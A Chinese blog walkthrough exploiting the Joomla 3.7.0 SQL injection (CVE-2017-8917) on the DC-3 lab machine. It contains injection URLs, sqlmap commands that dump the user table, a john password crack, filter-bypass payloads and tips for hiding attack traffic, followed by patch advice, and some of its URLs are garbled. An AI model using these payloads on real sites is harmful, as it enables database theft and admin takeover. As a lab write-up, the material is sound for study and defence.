Joomla 3.7.0 SQL注入漏洞(CVE-2017-8917)实战:从POC到获取管理员密码的3步流程 📅 2026/7/9 11:07:51 Joomla 3.7.0 SQL注入漏洞深度解析与实战利用漏洞背景与原理剖析Joomla作为全球最受欢迎的开源CMS系统之一其3.7.0版本存在一个高危的SQL注入漏洞CVE-2017-8917。这个漏洞源于com_fields组件对用户输入参数list[fullordering]未进行充分过滤导致攻击者能够构造恶意SQL语句执行任意数据库操作。漏洞的核心在于Joomla的查询构建器未能正确处理ORDER BY子句中的用户可控参数。当攻击者通过index.php?optioncom_fieldsviewfieldslayoutmodal接口提交特制参数时系统会将恶意SQL片段直接拼接到查询语句中。漏洞特征影响版本Joomla 3.7.0其他版本也可能受影响漏洞类型二次SQL注入利用难度中等危害等级高危可直接获取管理员权限环境准备与漏洞验证1. 靶场环境搭建推荐使用Vulnhub的DC-3靶机进行实验该环境已预置存在漏洞的Joomla 3.7.0版本# 下载DC-3靶机镜像 wget https://download.vulnhub.com/dc/DC-3-2.zip unzip DC-3-2.zip # 导入VirtualBox VBoxManage import DC-3-2.ova2. 手动验证漏洞存在性通过构造特殊URL验证漏洞是否存在http://[靶机IP]/index.php?optioncom_fieldsviewfieldslayoutmodallist[fullordering]updatexml(0x3a,concat(1,user()),1)若页面返回包含数据库用户名的XML解析错误则确认漏洞存在XPATH syntax error: :rootlocalhost分步利用流程1. 信息收集与漏洞确认使用JoomScan进行初步扫描joomscan -u http://靶机IP/关键输出应包含[] Joomla Version: 3.7.0 [] Administrator page: /administrator/2. 手工注入获取数据库信息通过报错注入提取基本信息# 获取当前数据库用户 http://靶机IP/index.php?optioncom_fieldsviewfieldslayoutmodallist[fullordering]updatexml(0x3a,concat(1,user()),1) # 获取数据库版本 http://靶机IP/index.php?optioncom_fieldsviewfieldslayoutmodallist[fullordering]updatexml(0x3a,concat(1,version()),1)3. 使用sqlmap自动化利用配置sqlmap进行深度利用# 枚举数据库 sqlmap -u http://靶机IP/index.php?optioncom_fieldsviewfieldslayoutmodallist[fullordering]updatexml --risk3 --level5 --random-agent --dbs -p list[fullordering] # 指定joomladb数据库枚举表 sqlmap -u http://靶机IP/index.php?optioncom_fieldsviewfieldslayoutmodallist[fullordering]updatexml --risk3 --level5 --random-agent -D joomladb --tables -p list[fullordering] # 提取用户表数据 sqlmap -u http://靶机IP/index.php?optioncom_fieldsviewfieldslayoutmodallist[fullordering]updatexml --risk3 --level5 --random-agent -D joomladb -T #__users --dump -p list[fullordering]典型输出结果usernamepasswordadmin$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL...密码破解与权限提升1. 识别哈希类型管理员密码采用bcrypt加密识别特征以$2y$开头$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu2. 使用John破解密码准备字典文件并执行破解# 保存哈希到文件 echo $2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu hash.txt # 使用rockyou字典破解 john --wordlist/usr/share/wordlists/rockyou.txt hash.txt --formatbcrypt # 查看破解结果 john --show hash.txt成功破解后输出admin:snoopy3. 登录后台获取控制权使用获取的凭证访问管理员后台http://靶机IP/administrator/防御措施与修复建议临时缓解方案禁用com_fields组件添加输入过滤规则// 在components/com_fields/controllers/fields.php中添加 $list[fullordering] preg_replace(/[^a-zA-Z0-9_,]/, , $list[fullordering]);根本解决方案立即升级到Joomla 3.7.1或更高版本定期更新所有扩展组件实施WAF规则拦截SQL注入尝试技术深度扩展1. 漏洞原理分析该漏洞本质上是order by子句注入与常规注入不同之处在于注入点位于ORDER BY后而非WHERE子句利用updatexml函数触发报错信息泄露需要构造特殊语法绕过基础过滤2. bcrypt哈希安全性获取的密码哈希采用bcrypt算法其安全特性包括自适应计算成本$10$表示210次迭代内置盐值防止彩虹表攻击专门设计抵抗GPU/ASIC破解即使如此弱密码仍可能被破解这强调了使用强密码的重要性。实战经验分享在多次渗透测试中发现以下技巧可提高成功率字典优化针对目标组织特点定制字典并行破解使用hashcat配合GPU加速流量隐蔽调整sqlmap的请求延迟和代理设置遇到特殊字符过滤时可尝试以下绕过技术/*!50000select*/ 1 -- 注释绕过 CONCAT(CHAR(115),CHAR(101),CHAR(108)) -- 字符编码绕过